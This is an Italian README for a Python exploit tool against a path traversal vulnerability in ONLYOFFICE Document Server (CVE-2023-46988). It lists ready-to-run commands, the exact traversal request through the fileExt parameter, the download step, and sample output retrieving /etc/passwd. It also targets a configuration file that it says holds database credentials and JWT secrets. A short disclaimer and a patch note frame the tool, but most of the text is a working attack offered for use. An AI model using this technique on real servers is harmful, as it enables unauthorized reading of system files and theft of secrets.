Exploit di Path Traversal in ONLYOFFICE (CVE-2023-46988)

📌 Panoramica

Questo script sfrutta una vulnerabilità di path traversal in ONLYOFFICE Document Server (CVE-2023-46988) che consente a utenti non autorizzati di copiare file arbitrari dal server. La vulnerabilità è presente nell'endpoint /example/editor, dove il parametro fileExt può essere manipolato per accedere a file sensibili di sistema e di configurazione.

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e di ricerca autorizzata sulla sicurezza.
L'uso non autorizzato contro sistemi senza permesso esplicito è illegale e non etico.

🛠 Caratteristiche

• Recupera i file sensibili predefiniti:
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json (contiene credenziali del database e segreti JWT)
• Specifica un qualsiasi percorso file da recuperare con l'argomento --file.
• Supporta il proxy opzionale per l'intercettazione con Burp Suite (--proxy).
• Supporta la verifica SSL opzionale (--verify).
• Corregge i problemi di codifica durante il download di file con caratteri speciali.

🚀 Utilizzo

1️⃣ Utilizzo Base (Recupero File Predefiniti)

python onlyoffice_exploit.py http://localhost

Questo recupera:

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ Recupera un File Personalizzato (es. /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ Abilita il Proxy (es. Burp Suite su 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ Abilita la Verifica SSL

python onlyoffice_exploit.py https://example.local --verify

5️⃣ Combina Proxy e Verifica SSL

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 Come Funziona

1. Invia una richiesta a /example/editor con un parametro fileExt malizioso:

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. Estrae l'URL di reindirizzamento dalla risposta.
3. Analizza il nome del file reindirizzato dalla risposta.
4. Corregge i problemi di codifica per i caratteri speciali nei nomi dei file.
5. Scarica il file da /example/download?fileName=<nome_file_estratto>.

🛠 Esempio di Output

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 Mitigazione

ONLYOFFICE ha corretto questa vulnerabilità nell'aggiornamento di febbraio 2024.
Gli utenti dovrebbero aggiornare all'ultima versione per proteggere i propri server.

🐜 Licenza

Questo progetto è concesso in licenza con la MIT License – consulta il file LICENSE per i dettagli.